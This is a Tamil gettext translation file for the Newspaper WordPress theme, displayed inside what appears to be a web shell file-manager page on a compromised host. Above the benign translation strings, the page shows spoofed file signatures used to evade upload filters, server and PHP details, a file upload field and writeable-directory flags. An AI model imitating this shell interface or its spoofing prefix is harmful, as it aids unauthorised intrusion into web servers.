%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/webroot/blog/wp-content/themes/Newspaper/translation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/webroot/blog/wp-content/themes/Newspaper/translation/ta_LK.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: ta_LK\n"


msgid "View all results"
msgstr "எல்லா முடிவுகளையும் காண்க"


msgid "No results"
msgstr "முடிவுகள் இல்லை"


msgid "Home"
msgstr "முகப்பு"


msgid "CLOSE"
msgstr "வெளியேறு"


msgid "Page"
msgstr "பக்கம்"


msgid "All"
msgstr "அனைத்தும்"


msgid "By"
msgstr "மூலம்"


msgid "Load more"
msgstr "மேலும் ஏற்றுக"


msgid "View all posts in"
msgstr "உள்ள அனைத்துச் செய்திகளையும் பார்க்க"


msgid "Tags"
msgstr "குறிச்சொற்கள்"


msgid "Previous article"
msgstr "முந்தைய கட்டுரை"


msgid "Next article"
msgstr "அடுத்த கட்டுரை"


msgid "Authors"
msgstr "எழுத்தாளர்கள்"


msgid "Author"
msgstr "எழுத்தாளர்"


msgid "RELATED ARTICLES"
msgstr "தொடர்புடைய கட்டுரைகள்"


msgid "MORE FROM AUTHOR"
msgstr "ஆசிரியரிடமிருந்து மிகவும்"


msgid "VIA"
msgstr "மூலமாக"


msgid "SOURCE"
msgstr "மற்ற ஆதாரங்கள்"


msgid "TAGS"
msgstr "குறிகள்"


msgid "SHARE"
msgstr "பகிர்ந்து"


msgid "Continue"
msgstr "தொடர்க"


msgid "Read more"
msgstr "மேலும் வாசிக்க"


msgid "Name:"
msgstr "பெயர்:"


msgid "Email:"
msgstr "மின்னஞ்சல்:"


msgid "Website:"
msgstr "வலைத்தளம்:"


msgid "Comment:"
msgstr "கருத்து:"


msgid "LEAVE A REPLY"
msgstr "ஒரு பதிலை விடவும்"


msgid "Post Comment"
msgstr "கருத்து தெரிவிக்க"


msgid "Cancel reply"
msgstr "பதில் ரத்து"


msgid "Reply"
msgstr "பதிலளிக்க"


msgid "Log in to leave a comment"
msgstr "ஒரு கருத்தை விட உள் நுழையவும்"


msgid "NO COMMENTS"
msgstr "கருத்துகள் இல்லை"


msgid "1 COMMENT"
msgstr "1 கருத்து"


msgid "COMMENTS"
msgstr "கருத்துக்கள்"


msgid "REVIEW OVERVIEW"
msgstr "சி.ஆர்.டி. கண்ணோட்டம்"


msgid "SUMMARY"
msgstr "சுருக்கமான விபரம்"


msgid "OVERALL SCORE"
msgstr "ஒட்டுமொத்த ஸ்கோர்"


msgid "Ooops... Error 404"
msgstr "அச்சச்சோ ... 404 பிழை"


msgid "Sorry, but the page you are looking for doesn't exist."
msgstr "மன்னிக்கவும், நீங்கள் தேடும் பக்கம் இல்லை."


msgid "You can go to the"
msgstr "நீங்கள் செல்லலாம்"


msgid "HOMEPAGE"
msgstr "முகப்பு பக்கம்"


msgid "OUR LATEST POSTS"
msgstr "எங்கள் சமீபத்திய இடுகைகள்"


msgid "Posts by"
msgstr "இடுகைகள் மூலம்"


msgid "POSTS"
msgstr "இடுகைகள்"


msgid "Posts tagged with"
msgstr "இடுகைகளுடன் குறியிடபட்டுவிட்டது"


msgid "Tag"
msgstr "குறிச்சொல்"


msgid "Daily Archives:"
msgstr "தினசரி தொகுப்புகள்:"


msgid "Monthly Archives:"
msgstr "மாதாந்திர தொகுப்புகள்:"


msgid "Yearly Archives:"
msgstr "வருடாந்திர தொகுப்புகள்:"


msgid "Archives"
msgstr "தொகுப்புகள்"


msgid "LATEST ARTICLES"
msgstr "சமீபத்திய கட்டுரைகள்"


msgid "search results"
msgstr "தேடல் முடிவுகள்"


msgid "Search"
msgstr "தேடல்"


msgid "If you're not happy with the results, please do another search"
msgstr "நீங்கள் முடிவுகளள் மகிழ்ச்சியாக இல்லை என்றால், தயவுசெய்த  மற்றொரு தேடலை செய்யவும்"


msgid "Contact us"
msgstr "எங்களை தொடர்பு கொள்ளுங்கள்"


msgid "Page %CURRENT_PAGE% of %TOTAL_PAGES%"
msgstr "பக்கம்%தற்போதைய பக்கம்% இன் மொத்த பக்கங்கள்%"


msgid "Next"
msgstr "அடுத்த"


msgid "Prev"
msgstr "முன்"


msgid "No results for your search"
msgstr "உங்கள் தேடல் க்கான முடிவுகள் ஏதுமில்லை"


msgid "No posts to display"
msgstr "பதிவுகள் காண்பிக்க இல்லை"


msgid "LOG IN"
msgstr "உள்நுழைக"


msgid "Sign in / Join"
msgstr "உள்நுழையவும் / சேரவும்"


msgid "Log In"
msgstr "உள்நுழைய"


msgid "REGISTER"
msgstr "பதிவு"


msgid "Send My Pass"
msgstr "என் பாஸ் அனுப்பவும்"


msgid "Forgot your password?"
msgstr "உங்கள் கடவுச்சொல்லை மறந்து விட்டீர்களா?"


msgid "Please wait..."
msgstr "தயவு செய்து காத்திருக்கவும் …"


msgid "User or password incorrect!"
msgstr "பயனர் அல்லது கடவுச்சொல் தவறானது!"


msgid "Email or username incorrect!"
msgstr "மின்னஞ்சல் அல்லது பயனர் பெயர் தவறானது!"


msgid "Email incorrect!"
msgstr "மின்னஞ்சல் தவறானது!"


msgid "User or email already exists!"
msgstr "பயனர் அல்லது மின்னஞ்சல் ஏற்கனவே உள்ளது!"


msgid "Please check you email (index or spam folder), the password was sent there."
msgstr "உங்கள் மின்னஞ்சல் சரிபார்க்கவும்(குறியீடு அல்லது ஸ்பேம் கோப்புறை) கடவுச்சொல் அனுப்பப்பட்டது."


msgid "Email address not found!"
msgstr "மின்னஞ்சல் முகவரி காணப்படவில்லை!"


msgid "Your password is reset, check your email."
msgstr "உங்கள் கடவுச்சொல் மீட்டமைக்கப்பட்டது, உங்கள் மின்னஞ்சல் சரிபார்க்கவும்."


msgid "Welcome! Log into your account"
msgstr "வரவேற்கிறோம்! உங்கள் கணக்கில் உள்நுழைவு"


msgid "Register for an account"
msgstr "ஒரு கணக்கை பதிவு செய்யவும்"


msgid "Recover your password"
msgstr "உங்கள் கடவுச்சொல்லை மீட்டெடுக்கவும்"


msgid "your username"
msgstr "உங்கள் பயனர் பெயர்"


msgid "your password"
msgstr "உங்கள் கடவுச்சொல்"


msgid "your email"
msgstr "உங்கள் மின்னஞ்சல்"


msgid "A password will be e-mailed to you."
msgstr "ஒரு கடவுச்சொல்லை உங்களுக்கு மின்னஞ்சல் மூலம் அனுப்பப்படும்."


msgid "Logout"
msgstr "வெளியேறு"


msgid "Like"
msgstr "லைக்"


msgid "Fans"
msgstr "ரசிகர்கள்"


msgid "Follow"
msgstr "பின்பற்றவும்"


msgid "Followers"
msgstr "பின்பற்றுபவர்கள்"


msgid "Subscribe"
msgstr "குழுசேர்"


msgid "Subscribers"
msgstr "சந்தாதாரர்கள்"


msgid "MORE STORIES"
msgstr "இன்னும் கதைகள்"


msgid "Latest"
msgstr "சமீபத்திய"


msgid "Featured posts"
msgstr "சிறப்பு பதிவுகள்"


msgid "Most popular"
msgstr "மிகவும் பிரபலமான"


msgid "7 days popular"
msgstr "7 நாட்கள் பிரபலமான"


msgid "By review score"
msgstr "விமர்சனம் ஸ்கோர் மூலம்"


msgid "Random"
msgstr "ராண்டம்"


msgid "Trending Now"
msgstr "இப்போது பிரபலமாகும்"


msgid "POPULAR CATEGORY"
msgstr "பிரபலமான வகை"


msgid "EVEN MORE NEWS"
msgstr "இன்னும் அதிக செய்திகள்"


msgid "Previous (Left arrow key)"
msgstr "முந்தைய (இடது அம்புக்குறி விசையை)"


msgid "Next (Right arrow key)"
msgstr "அடுத்து (வலது அம்பு விசை)"


msgid "%curr% of %total%"
msgstr "%curr% இன் %total%"


msgid "The content from %url% could not be loaded."
msgstr "உள்ளடக்கத்தை இருந்து %url%  இருந்து ஏற்ற முடியவில்லை."


msgid "The image #%curr% could not be loaded."
msgstr "படம் #%curr% ஏற்ற முடியவில்லை."


msgid "Blog"
msgstr "வலைப்பதிவு"


msgid "Share on Facebook"
msgstr "Facebook இல் பகிர்ந்துகொல்லவும்"


msgid "Tweet on Twitter"
msgstr "Twitter இல் ட்வீட் செய்யவும்"


msgid "EDITOR PICKS"
msgstr "ஆசிரியர் தேர்வு"


msgid "POPULAR POSTS"
msgstr "பிரபலமான பதிவுகள்"


msgid "FOLLOW US"
msgstr "நம்மை பின்பற்ற"


msgid "ABOUT US"
msgstr "எங்களை பற்றி"


msgid "More"
msgstr "மேலும்"


msgid "Featured"
msgstr "சிறப்பு"


msgid "All time popular"
msgstr "பிரபலமான அனைத்து நேரம்"


msgid "Likes"
msgstr "விருப்பு"


msgid "Register"
msgstr "பதிவு"


msgid "of"
msgstr "என்ற"


msgid "Euro Member Countries"
msgstr "யூரோ உறுப்பு நாடுகள்"


msgid "Your comment is awaiting moderation"
msgstr "உங்கள் கருத்துரை காத்திருக்கிறது உள்ளது"


msgid "Follow us on Instagram"
msgstr "Instagram நம்மை பின்பற்ற"


msgid "Back"
msgstr "மீண்டும்"


msgid "Sign in"
msgstr "உள்நுழைய"


msgid "Sign up"
msgstr "பதிவு"


msgid "Join"
msgstr "சேர"


msgid "Welcome!"
msgstr "வரவேற்பு!"


msgid "Log into your account"
msgstr "உங்கள் கணக்கில் உள்நுழைய"


msgid "Password recovery"
msgstr "கடவுச்சொல் மீட்பு"


msgid "Please check your email (index or spam folder), the password was sent there."
msgstr "உங்கள் மின்னஞ்சல் (குறியீட்டு அல்லது ஸ்பேம் கோப்புறை) சரிபார்க்கவும், கடவுச்சொல்லை அங்கு அனுப்பப்பட்டான்."


msgid "Australian Dollar"
msgstr "ஆஸ்திரேலிய டாலர்"


msgid "Bulgarian Lev"
msgstr "பல்கேரியன் லெவ்"


msgid "Brazilian Real"
msgstr "பிரேசிலிய உண்மையான"


msgid "Canadian Dollar"
msgstr "கனடா டாலர்"


msgid "Swiss Franc"
msgstr "சுவிஸ் பிராங்க்"


msgid "Chinese Yuan Renminbi"
msgstr "சீன யுவான் ரென்மின்பி"


msgid "Czech Republic Koruna"
msgstr "செக் குடியரசு கொருனா"


msgid "Danish Krone"
msgstr "டானிஷ் க்ரோன்"


msgid "British Pound"
msgstr "பிரிட்டிஷ் பவுண்ட்"


msgid "Hong Kong Dollar"
msgstr "ஹாங்காங் டாலர்"


msgid "Croatian Kuna"
msgstr "குரோஷியன் குனா"


msgid "Hungarian Forint"
msgstr "ஹங்கேரியன் ஃபோரின்ட்"


msgid "Indonesian Rupiah"
msgstr "இந்தோனேசிய ரூபாவின்"


msgid "Israeli Shekel"
msgstr "இஸ்ரேல் சேக்கல்"


msgid "Indian Rupee"
msgstr "இந்திய ரூபாயின் மதிப்பு"


msgid "Japanese Yen"
msgstr "ஜப்பனீஸ் யென்"


msgid "Korean (South) Won"
msgstr "கொரியன் (தென்) வெற்றி"


msgid "Mexican Peso"
msgstr "மெக்சிகன் பெசோ"


msgid "Malaysian Ringgit"
msgstr "மலேசிய ரிங்கிட்"


msgid "Norwegian Krone"
msgstr "நார்வேஜியன் க்ரோன்"


msgid "New Zealand Dollar"
msgstr "நியூசிலாந்து டாலர்"


msgid "Philippine Peso"
msgstr "பிலிப்பைன்ஸ் பேசோ"


msgid "Polish Zloty"
msgstr "போலந்து ஜூலுட்டி"


msgid "Romanian (New) Leu"
msgstr "ரோமானியம் (புதிய) Leu"


msgid "Russian Ruble"
msgstr "ரஷியன் ரூபிள்"


msgid "Swedish Krona"
msgstr "ஸ்வீடிஷ் குரோனா"


msgid "Singapore Dollar"
msgstr "சிங்கப்பூர் டாலர்"


msgid "Thai Baht"
msgstr "தாய் பட்"


msgid "Turkish Lira"
msgstr "துருக்கிய லிரா"


msgid "United States Dollar"
msgstr "ஐக்கிய அமெரிக்க டாலர்"


msgid "South African Rand"
msgstr "தென்னாப்பிரிக்க ராண்ட்"


msgid "Privacy Policy"
msgstr "தனியுரிமை கொள்கை"


msgid "views"
msgstr "காட்சிகள்"


msgid "Modified date:"
msgstr "திருத்தப்பட்ட தேதி:"


msgid "Please enter your name here"
msgstr "இங்கே உங்கள் பெயரை உள்ளிடவும்"


msgid "Please enter your email address here"
msgstr "இங்கே உங்கள் மின்னஞ்சல் முகவரியை உள்ளிடவும்"


msgid "You have entered an incorrect email address!"
msgstr "நீங்கள் தவறான மின்னஞ்சல் முகவரியை உள்ளிட்டுள்ளீர்கள்!"


msgid "Please enter your comment!"
msgstr "தயவு செய்து உங்கள் கருத்தை உள்ளிடவும்!"


msgid "Logged in as"
msgstr "உள்நுழைந்துள்ளீர்"


msgid "Log out?"
msgstr "வெளியேறு?"


msgid "Logged in as %s. Edit your profile."
msgstr "% s ஆக உள்நுழைந்துள்ளீர்கள். உங்கள் சுயவிவரத்தை திருத்தவும்."


msgid "Edit"
msgstr "தொகு"


msgid "Login"
msgstr "உள் நுழை"


msgid "Send My Password"
msgstr "என் கடவுச்சொல்லை அனுப்பவும்"


msgid "Create an account"
msgstr "ஒரு கணக்கை உருவாக்க"


msgid "Welcome! Register for an account"
msgstr "வரவேற்பு! ஒரு கணக்கு பதிவு"


msgid "About me"
msgstr "என்னை பற்றி"


msgid "Save my name, email, and website in this browser for the next time I comment."
msgstr "அடுத்த முறை நான் கருத்து தெரிவிக்க இந்த உலாவியில் எனது பெயர், மின்னஞ்சல் மற்றும் வலைத்தளத்தை சேமிக்கவும்."


msgid "Orders"
msgstr "உத்தரவு"


msgid "Addresses"
msgstr "முகவரிகள்"


msgid "Account settings"
msgstr "கணக்கு அமைப்புகள்"


msgid "Hello"
msgstr "வணக்கம்"


msgid "No products in the cart."
msgstr "வண்டியில் பொருட்கள் இல்லை."


msgid "Product categories"
msgstr "தயாரிப்பு வகைகள்"


msgid "Product tags"
msgstr "தயாரிப்பு குறிச்சொற்கள்"


msgid "Success"
msgstr "வெற்றி"


msgid "Acknowledgment is required!"
msgstr "அங்கீகாரம் தேவை!"


msgid "Please fill in a valid email."
msgstr "சரியான மின்னஞ்சலை நிரப்பவும்."


msgid "Please fill in an email address."
msgstr "மின்னஞ்சல் முகவரியை நிரப்பவும்."


msgid "Get into your account."
msgstr "உங்கள் கணக்கில் நுழையுங்கள்."


msgid "My subscription account"
msgstr "எனது சந்தா கணக்கு"


msgid "Account details"
msgstr "கணக்கு விவரங்கள்"


msgid "Subscriptions"
msgstr "சந்தாக்கள்"


msgid "My woo account"
msgstr "என் வூ கணக்கு"


msgid "Log out"
msgstr "வெளியேறு"


msgid "Email address"
msgstr "மின்னஞ்சல் முகவரி"


msgid "Username"
msgstr "பயனர் பெயர்"


msgid "Password"
msgstr "கடவுச்சொல்"


msgid "must contain at least one lower case (a..z)"
msgstr "குறைந்தபட்சம் ஒரு சிறிய எழுத்து (a..z) இருக்க வேண்டும்"


msgid "must contain at least one upper case (A..Z)"
msgstr "குறைந்தபட்சம் ஒரு பெரிய எழுத்து (a..z) இருக்க வேண்டும்"


msgid "must contain at least 6 characters in length"
msgstr "குறைந்தபட்சம் 6 எழுத்துகள் நீளம் இருக்க வேண்டும்"


msgid "Repeat password"
msgstr "ரகசிய குறியீட்டை திரும்பச்சொல்"


msgid "Already have an account?"
msgstr "ஏற்கனவே ஒரு கணக்கு உள்ளதா?"


msgid "Recover password"
msgstr "கடவுச்சொல்லை மீட்டெடுக்கவும்"


msgid "Username or Email address"
msgstr "பயனர்பெயர் அல்லது மின்னஞ்சல் முகவரி"


msgid "Forgot password?"
msgstr "கடவுச்சொல்லை மறந்துவிட்டீர்களா?"


msgid "Don't have an account?"
msgstr "கணக்கு இல்லையா?"


msgid "Dashboard"
msgstr "டாஷ்போர்டு"


msgid "Welcome to your account!"
msgstr "உங்கள் கணக்கிற்கு வரவேற்கிறோம்!"


msgid "Hello %1$s (not %2$s? %3$s)! From your account dashboard you can view your subscriptions and manage your account details."
msgstr "வணக்கம் %1$s (%2$s அல்லவா? %3$s)! உங்கள் கணக்கு டாஷ்போர்டில் இருந்து உங்கள் சந்தாக்களைப் பார்க்கலாம் மற்றும் உங்கள் கணக்கு விவரங்களை நிர்வகிக்கலாம்."


msgid "Lost Password"
msgstr "கடவுச்சொல்லை இழந்தது"


msgid "Manage your account details."
msgstr "உங்கள் கணக்கு விவரங்களை நிர்வகிக்கவும்."


msgid "First name"
msgstr "முதல் பெயர்"


msgid "Last name"
msgstr "கடைசி பெயர்"


msgid "Display name"
msgstr "காட்சி பெயர்"


msgid "Current password"
msgstr "தற்போதைய கடவுச்சொல்"


msgid "(leave blank to leave unchanged)"
msgstr "(மாறாமல் இருக்க வெறுமையாக விடவும்)"


msgid "New password"
msgstr "புதிய கடவுச்சொல்"


msgid "Confirm new password"
msgstr "புதிய கடவு சொல்லை உறுதி செய்"


msgid "Save changes"
msgstr "மாற்றங்களை சேமியுங்கள்"


msgid "All your subscriptions."
msgstr "உங்கள் சந்தாக்கள் அனைத்தும்."


msgid "Plan"
msgstr "திட்டம்"


msgid "Payment type"
msgstr "கட்டணம் வகை"


msgid "Status"
msgstr "நிலை"


msgid "Months"
msgstr "மாதங்கள்"


msgid "Start date"
msgstr "தொடக்க தேதி"


msgid "End date"
msgstr "கடைசி தேதி"


msgid "missing plan"
msgstr "காணாமல் போன திட்டம்"


msgid "Free"
msgstr "இலவசம்"


msgid "Active"
msgstr "செயலில்"


msgid "Trial"
msgstr "விசாரணை"


msgid "Blocked"
msgstr "தடுக்கப்பட்டது"


msgid "Closed"
msgstr "மூடப்பட்டது"


msgid "Not paid"
msgstr "செலுத்தப்படவில்லை"


msgid "Awaiting payment"
msgstr "பணம் காத்திருக்கிறது"


msgid "Subscription info"
msgstr "சந்தா தகவல்"


msgid "ID"
msgstr "ஐடி"


msgid "Name"
msgstr "பெயர்"


msgid "Company name"
msgstr "நிறுவனத்தின் பெயர்"


msgid "VAT"
msgstr "வாட்"


msgid "Address"
msgstr "முகவரி"


msgid "City"
msgstr "நகரம்"


msgid "Country/State"
msgstr "நாடு/மாநிலம்"


msgid "Email"
msgstr "மின்னஞ்சல்"


msgid "Postal code"
msgstr "அஞ்சல் குறியீடு"


msgid "Direct bank transfer details"
msgstr "நேரடி வங்கி பரிமாற்ற விவரங்கள்"


msgid "Account name"
msgstr "கணக்கின் பெயர்"


msgid "Account number"
msgstr "கணக்கு எண்"


msgid "Bank name"
msgstr "வங்கி பெயர்"


msgid "Routing number"
msgstr "வழித்தட எண்"


msgid "IBAN"
msgstr "ஐபான்"


msgid "Bic/Swift"
msgstr "Bic/swift"


msgid "Instructions"
msgstr "அறிவுறுத்தல்கள்"


msgid "No subscription created."
msgstr "சந்தா எதுவும் உருவாக்கப்படவில்லை."


msgid "Choose plan"
msgstr "திட்டத்தை தேர்வு செய்யவும்"


msgid "Payment methods"
msgstr "பணம் செலுத்தும் முறைகள்"


msgid "Total"
msgstr "மொத்தம்"


msgid "Period"
msgstr "காலம்"


msgid "Subscription summary"
msgstr "சந்தா சுருக்கம்"


msgid "Phone"
msgstr "தொலைபேசி"


msgid "Postcode"
msgstr "அஞ்சல் குறியீடு"


msgid "County"
msgstr "மாவட்டம்"


msgid "Town/City"
msgstr "நகரம்/நகரம்"


msgid "Street address"
msgstr "தெரு முகவரி"


msgid "Country/Region"
msgstr "நாடு/பகுதி"


msgid "VAT Number"
msgstr "வாட் எண்"


msgid "(optional)"
msgstr "(விரும்பினால்)"


msgid "Billing details"
msgstr "பில்லிங் விவரங்கள்"


msgid "User information"
msgstr "பயனர் தகவல்"


msgid "It seems that no available payment methods have been configured."
msgstr "கிடைக்கக்கூடிய கட்டண முறைகள் எதுவும் கட்டமைக்கப்படவில்லை என்று தெரிகிறது."


msgid "Thank you! We are delighted to see you here. Your subscription will be activated soon!"
msgstr "நன்றி! உங்களை இங்கு காண்பதில் நாங்கள் மகிழ்ச்சியடைகிறோம். உங்கள் சந்தா விரைவில் செயல்படுத்தப்படும்!"


msgid "Our bank details"
msgstr "எங்கள் வங்கி விவரங்கள்"


msgid "Your subscription details"
msgstr "உங்கள் சந்தா விவரங்கள்"


msgid "View subscription"
msgstr "சந்தாவைப் பார்க்கவும்"


msgid "You have not selected a valid subscription plan."
msgstr "சரியான சந்தா திட்டத்தை நீங்கள் தேர்ந்தெடுக்கவில்லை."


msgid "Field empty"
msgstr "வயல் காலி"


msgid "Empty first name"
msgstr "வெற்று முதல் பெயர்"


msgid "Empty last name"
msgstr "வெற்று கடைசி பெயர்"


msgid "Empty country"
msgstr "வெற்று நாடு"


msgid "Empty address"
msgstr "வெற்று முகவரி"


msgid "Empty city"
msgstr "வெற்று நகரம்"


msgid "Empty county"
msgstr "காலி மாவட்டம்"


msgid "Empty postcode"
msgstr "வெற்று அஞ்சல் குறியீடு"


msgid "Empty phone"
msgstr "காலி தொலைபேசி"


msgid "Empty email"
msgstr "வெற்று மின்னஞ்சல்"


msgid "Email or username empty!"
msgstr "மின்னஞ்சல் அல்லது பயனர் பெயர் காலியாக உள்ளது!"


msgid "Pass empty!"
msgstr "காலியாக கடந்து செல்லுங்கள்!"


msgid "Username incorrect!"
msgstr "பயனர் பெயர் தவறானது!"


msgid "Invalid Pass Pattern!"
msgstr "தவறான பாஸ் முறை!"


msgid "Please activate your account by following the link sent to your email address."
msgstr "உங்கள் மின்னஞ்சல் முகவரிக்கு அனுப்பப்பட்ட இணைப்பைப் பின்தொடர்ந்து உங்கள் கணக்கைச் செயல்படுத்தவும்."


msgid "Resend activation link"
msgstr "செயல்படுத்தும் இணைப்பை மீண்டும் அனுப்பவும்"


msgid "In order to have access to this section, you have to activate your account."
msgstr "இந்த பிரிவை அணுக, உங்கள் கணக்கை நீங்கள் செயல்படுத்த வேண்டும்."


msgid "Email empty!"
msgstr "மின்னஞ்சல் காலி!"


msgid "Username empty!"
msgstr "பயனர் பெயர் காலியாக உள்ளது!"


msgid "Pass pattern incorrect!"
msgstr "கடந்து செல்லும் முறை தவறானது!"


msgid "Retyped pass empty!"
msgstr "மீண்டும் தட்டச்சு செய்த பாஸ் காலியாக உள்ளது!"


msgid "Retyped pass exactly!"
msgstr "சரியாக மீண்டும் தட்டச்சு செய்த பாஸ்!"


msgid "User already exists!"
msgstr "பயனர் ஏற்கனவே இருக்கிறார்!"


msgid "Email already exists!"
msgstr "மின்னஞ்சல் முன்பே பதிவில் இருக்கிறது!"


msgid "Your account could not be created."
msgstr "உங்கள் கணக்கை உருவாக்க முடியவில்லை."


msgid "Please check your email (inbox or spam folder) to validate your account."
msgstr "உங்கள் கணக்கைச் சரிபார்க்க உங்கள் மின்னஞ்சலை (இன்பாக்ஸ் அல்லது ஸ்பேம் கோப்புறை) சரிபார்க்கவும்."


msgid "User empty!"
msgstr "பயனர் காலி!"


msgid "User does not exists!"
msgstr "பயனர் இல்லை!"


msgid "New activation link was generated. Please check your email (inbox or spam folder) to validate your account."
msgstr "புதிய செயல்படுத்தும் இணைப்பு உருவாக்கப்பட்டது. உங்கள் கணக்கைச் சரிபார்க்க உங்கள் மின்னஞ்சலை (இன்பாக்ஸ் அல்லது ஸ்பேம் கோப்புறை) சரிபார்க்கவும்."


msgid "CAPTCHA verification failed!"
msgstr "கேப்ட்சா சரிபார்ப்பு தோல்வியடைந்தது!"


msgid "CAPTCHA user score failed. Please contact us!"
msgstr "கேப்ட்சா பயனர் மதிப்பெண் தோல்வியடைந்தது. தயவு செய்து எங்களை தொடர்பு கொள்ளவும்!"


msgid "Loading"
msgstr "ஏற்றுகிறது"


msgid "Here are the results for the search:"
msgstr "தேடலுக்கான முடிவுகள் இதோ:"


msgid "Price"
msgstr "விலை"


msgid "EXCLUSIVE"
msgstr "பிரத்தியேகமானது"


msgid "Tel:"
msgstr "தொலைபேசி:"


msgid "Share"
msgstr "பகிர்"


msgid "Print"
msgstr "அச்சு"


msgid "At"
msgstr "மணிக்கு"


msgid "Comments are closed."
msgstr "கருத்துகள் மூடப்பட்டுள்ளன."


msgid "My account"
msgstr "என் கணக்கு"


msgid "Payment method"
msgstr "கட்டணம் செலுத்தும் முறை"


VaKeR 2022